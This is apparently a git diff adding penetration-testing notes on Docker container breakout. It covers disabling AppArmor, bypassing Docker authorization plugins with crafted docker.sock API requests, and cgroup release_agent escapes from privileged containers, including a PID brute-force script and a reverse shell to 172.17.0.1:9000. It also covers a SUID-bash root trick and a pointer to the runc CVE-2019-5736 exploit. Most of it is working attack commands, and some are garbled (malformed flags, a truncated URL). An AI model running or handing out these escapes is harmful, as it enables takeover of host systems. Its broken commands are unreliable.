[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) + +**docker-default profile Summary**: + +* **Access** to all **networking** +* **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) +* **Writing** to any **/proc** file is **not allowed** +* Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access +* **Mount** is **not allowed** +* **Ptrace** can only be run on a process that is confined by **same apparmor profile** + +Once you **run a docker container** you should see the following output: + +```bash +1 processes are in enforce mode. + docker-default (825) +``` + +Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: + +```bash +docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash +echo "" > /proc/stat +sh: 1: cannot create /proc/stat: Permission denied +``` + +You need to **disable apparmor** to bypass its restrictions: + +```bash +docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash +``` + +Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. + +Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): + +* `--cap-add=SYS_ADMIN`_ _give_ _`SYS_ADMIN` cap +* `--cap-add=ALL`_ _give_ _all caps +* `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` + +{% hint style="info" %} +Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +{% endhint %} + +### Example + +(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) + +To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: + +``` +deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) +``` + +To activate the profile, we need to do the following: + +``` +sudo apparmor_parser -r -W mydocker +``` + +To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. + +``` +$ sudo apparmor_status | grep mydocker + mydocker +``` + +As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. + +``` +$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname +chmod: /etc/hostname: Permission denied +``` + +### AppArmor Docker Breakout + +You can find which **apparmor profile is running a container** using: + +```bash +docker inspect 9d622d73a614 | grep lowpriv + "AppArmorProfile": "lowpriv", + "apparmor=lowpriv" +``` + +Then, you can run the following line to **find the exact profile being used**: + +```bash +find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null +``` + +In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. diff --git a/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md b/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md new file mode 100644 index 00000000..3db790c7 --- /dev/null +++ b/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md @@ -0,0 +1,199 @@ +# AuthZ& AuthN - Docker Access Authorization Plugin + +**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access **policies for managing access to the Docker daemon. + +## Basic architecture + +Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. + +When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. + +The sequence diagrams below depict an allow and deny authorization flow: + +![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) + +![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) + +Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method **used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. + +For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. + +During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. + +### Several Plugins + +You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. + +## Plugin Examples + +### Twistlock AuthZ Broker + +The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. + +This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` + +In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action + +### Simple Plugin Tutorial + +You can find an** easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)**** + +Read the `README` and the `plugin.go` code to understand how is it working. + +## Docker Auth Plugin Bypass + +### Enumerate access + +The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. + +To perform this enumeration you can **use the tool **[**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** + +### disallowed `run --privileged` + +#### Minimum Privileges + +```bash +docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash +``` + +#### Running a container and then getting a privileged session + +In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: + +```bash +docker run -d --privileged modified-ubuntu +docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. +See 'docker run --help'. +``` + +However, a user can **create a shell inside the running container and give it the extra privileges**: + +```bash +docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu +#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de + +# Now you can run a shell with --privileged +docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash +# With --cap-add=ALL +docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash +# With --cap-add=SYS_ADMIN +docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash +``` + +Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. + +### Mount Writable Folder + +In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: + +```bash +host> cp /bin/bash /tmp #Cerate a copy of bash +host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell +docker container> chown root:root /host/bash +docker container> chmod u+s /host/bash +host> /tmp/bash + -p #This will give you a shell as root +``` + +{% hint style="info" %} +Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` + +**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. + +Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +{% endhint %} + +### Unchecked API Endpoint + +The of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** + +You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) + +### Unchecked JSON Structure + +#### Binds in root + +It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ +In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: + +```bash +docker version #First, find the API version of docker, 1.40 in this example +docker images #List the images available +#Then, a container that mounts the root folder of the host +curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create +docker start f6932bc153ad #Start the created privileged container +docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it +#You can access the host filesystem +``` + +{% hint style="warning" %} +Note how in this example we are using the **`Binds `**param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +{% endhint %} + +#### Binds in HostConfig + +Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: + +```bash +curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create +``` + +#### Mounts in root + +Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: + +```bash +curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create +``` + +#### Mounts in HostConfig + +Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: + +```bash +curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre +``` + +### Unchecked JSON Attribute + +It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: + +```bash +docker version +curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create +docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa +docker ps +docker exec -it c52a77629a91 bash +capsh --print +#You can abuse the SYS_MODULE capability +``` + +{% hint style="info" %} +The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +{% endhint %} + +### Disabling Plugin + +If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! + +```bash +docker plugin list #Enumerate plugins + +# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output: +docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed. +# "authbolt" is the name of the previous plugin + +docker plugin disable authobot +docker run --rm -it --privileged -v /:/host ubuntu bash +docker plugin enable authobot +``` + +Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! + +### Auth Plugin Bypass writeups + +* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) + +## References + +* [https://docs.docker.com/engine/extend/plugins_authorization/](https://docs.docker.com/engine/extend/plugins_authorization/) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md new file mode 100644 index 00000000..b4878046 --- /dev/null +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md @@ -0,0 +1,426 @@ +# Docker Breakout / Privilege Escalation + +## Automatic Enumeration & Escape + +* ****[**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** +* ****[**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** +* ****[**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it +* ****[**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers + +## Mounted docker socket + +If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ +This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. + +```bash +#Search the socket +find / -name docker.sock 2>/dev/null +#It's usually in /run/docker.sock +``` + +In this case you can use regular docker commands to communicate with the docker daemon: + +```bash +#List images to use one +docker images +#Run the image mounting the host disk and chroot on it +docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash +``` + +{% hint style="info" %} +In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** +{% endhint %} + +## Container Capabilities + +You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** + +You can check currently container capabilities using previously mentioned automatic tools or: + +```bash +capsh --print +``` + +In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: + +{% content-ref url="../linux-capabilities.md" %} +[linux-capabilities.md](../linux-capabilities.md) +{% endcontent-ref %} + +## `--privileged` flag + +#### Escape mounting the disk in the container + +Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive. + +![](https://bestestredteam.com/content/images/2019/08/image-16.png) + +So to take over the host machine, it is trivial: + +```bash +mkdir -p /mnt/hola +mount /dev/sda1 /mnt/hola +``` + +And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola `folder. + +#### Other escapes without mounting the host filesystem + +{% code title="Initial PoC" %} +```bash +# spawn a new container to exploit via: +# docker run --rm -it --privileged ubuntu bash + +d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` +mkdir -p $d/w;echo 1 >$d/w/notify_on_release +t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +touch /o; +echo $t/c >$d/release_agent; +echo "#!/bin/sh $1 >$t/o" >/c; +chmod +x /c; +sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o +``` +{% endcode %} + +{% code title="Second PoC" %} +```bash +# On the host +docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash + +# In the container +mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x + +echo 1 > /tmp/cgrp/x/notify_on_release +host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +echo "$host_path/cmd" > /tmp/cgrp/release_agent + +#For a normal PoC ================= +echo '#!/bin/sh' > /cmd +echo "ps aux > $host_path/output" >> /cmd +chmod a+x /cmd +#=================================== +#Reverse shell +echo '#!/bin/bash' > /cmd +echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd +chmod a+x /cmd +#=================================== + +sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +head /output +``` +{% endcode %} + +The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. + +In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are: + +1. We must be running as root inside the container +2. The container must be run with the `SYS_ADMIN` Linux capability +3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall +4. The cgroup v1 virtual filesystem must be mounted read-write inside the container + +The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so. + +Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`. + +A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` + +### Breaking down the proof of concept + +Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works. + +To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. + +To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers. + +If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. We’re using RDMA because the original PoC was only designed to work with it. + +Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another. + +We can see the “x” child cgroup creation and its directory listing below. + +``` +root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x +root@b11cf9eab4fd:/# ls /tmp/cgrp/ +cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x +root@b11cf9eab4fd:/# ls /tmp/cgrp/x +cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks +``` + +Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file. + +The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host. + +Those operations can be seen below: + +``` +root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release +root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent +``` + +Note the path to the `/cmd` script, which we are going to create on the host: + +``` +root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent +/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd +``` + +Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents: + +``` +root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd +root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd +root@b11cf9eab4fd:/# chmod a+x /cmd +root@b11cf9eab4fd:/# cat /cmd +#!/bin/sh +ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output +``` + +Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container: + +``` +root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +root@b11cf9eab4fd:/# head /output +USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND +root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init +root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd] +root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp] +root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp] +root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd] +root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq] +root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] +root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] +root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] +``` + +## `--privileged` flag v2 + +The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point. + +#### Kata Containers + +``` +root@container:~$ head -1 /etc/mtab +kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) +``` + +[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. + +#### Device Mapper + +``` +root@container:~$ head -1 /etc/mtab +/dev/sdc / ext4 rw,relatime,stripe=384 0 0 +``` + +I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. + +#### An Alternative PoC + +Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity. + +The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere. + +The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container + +```bash +root@container:~$ sleep 100 +``` + +```bash +root@host:~$ ps -eaf | grep sleep +root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100 +root@host:~$ ls -la /proc/`pidof sleep` +total 0 +dr-xr-xr-x 9 root root 0 Nov 19 10:03 . +dr-xr-xr-x 430 root root 0 Nov 9 15:41 .. +dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr +-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup +-r-------- 1 root root 0 Nov 19 10:04 auxv +-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup +--w------- 1 root root 0 Nov 19 10:04 clear_refs +-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline +... +-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map +lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / +-rw-r--r-- 1 root root 0 Nov 19 10:29 sched +... +``` + +_As an aside, the `/proc//root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_ + +> /proc/\[pid]/root +> +> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*. +> +> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself. + +The `/proc//root` symbolic link can be used as a host relative path to any file within a container:Container + +```bash +root@container:~$ echo findme > /findme +root@container:~$ sleep 100 +``` + +```bash +root@host:~$ cat /proc/`pidof sleep`/root/findme +findme +``` + +This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container. + +#### Pid Bashing + +This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container + +``` +root@container:~$ echo findme > /findme +root@container:~$ sleep 100 +``` + +Host + +```bash +root@host:~$ COUNTER=1 +root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done +root@host:~$ echo ${COUNTER} +7822 +root@host:~$ cat /proc/${COUNTER}/root/findme +findme +``` + +#### Putting it All Together + +To complete this attack the brute force technique can be used to guess the pid for the path `/proc//root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created. + +The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that. + +The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups `release_agent` functionality: + +```bash +#!/bin/sh + +OUTPUT_DIR="/" +MAX_PID=65535 +CGROUP_NAME="xyx" +CGROUP_MOUNT="/tmp/cgrp" +PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" +PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" +OUTPUT_NAME="${CGROUP_NAME}_payload.out" +OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" + +# Run a process for which we can search for (not needed in reality, but nice to have) +sleep 10000 & + +# Prepare the payload script to execute on the host +cat > ${PAYLOAD_PATH} << __EOF__ +#!/bin/sh + +OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} + +# Commands to run on the host< +ps -eaf > \${OUTPATH} 2>&1 +__EOF__ + +# Make the payload script executable +chmod a+x ${PAYLOAD_PATH} + +# Set up the cgroup mount using the memory resource cgroup controller +mkdir ${CGROUP_MOUNT} +mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} +mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} +echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release + +# Brute force the host pid until the output path is created, or we run out of guesses +TPID=1 +while [ ! -f ${OUTPUT_PATH} ] +do + if [ $((${TPID} % 100)) -eq 0 ] + then + echo "Checking pid ${TPID}" + if [ ${TPID} -gt ${MAX_PID} ] + then + echo "Exiting at ${MAX_PID} :-(" + exit 1 + fi + fi + # Set the release_agent path to the guessed pid + echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent + # Trigger execution of the release_agent + sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" + TPID=$((${TPID} + 1)) +done + +# Wait for and cat the output +sleep 1 +echo "Done! Output:" +cat ${OUTPUT_PATH} +``` + +Executing the PoC within a privileged container should provide output similar to: + +```bash +root@container:~$ ./release_agent_pid_brute.sh +Checking pid 100 +Checking pid 200 +Checking pid 300 +Checking pid 400 +Checking pid 500 +Checking pid 600 +Checking pid 700 +Checking pid 800 +Checking pid 900 +Checking pid 1000 +Checking pid 1100 +Checking pid 1200 + +Done! Output: +UID PID PPID C STIME TTY TIME CMD +root 1 0 0 11:25 ? 00:00:01 /sbin/init +root 2 0 0 11:25 ? 00:00:00 [kthreadd] +root 3 2 0 11:25 ? 00:00:00 [rcu_gp] +root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] +root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] +root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] +root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] +root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] +... +``` + +### + +### Runc exploit (CVE-2019-5736) + +In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. + +Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ +Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: + +`docker exec -it /bin/sh` + +This will trigger the payload which is present in the main.go file. + +For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) + +{% hint style="info" %} +There are other CVEs the container can be vulnerable too +{% endhint %} + +### Writable hostPath Mount + +(Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: + +```bash +#### Check if You Can Write to a File-system +$ echo 1 > /proc/sysrq-trigger + +#### Check root UUID +$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem +$ findfs UUID=/dev/sda1- Attempt to Mount the Host's Filesystem +$ mkdir /mnt-test +$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. + +#### debugfs (Interactive File System Debugger) +$ debugfs /dev/sda1 +``` diff --git a/linux-unix/privilege-escalation/docker-breakout/namespaces.md b/linux-unix/privilege-escalation/docker-breakout/namespaces.md new file mode 100644 index 00000000..bc15fa72 --- /dev/null +++ 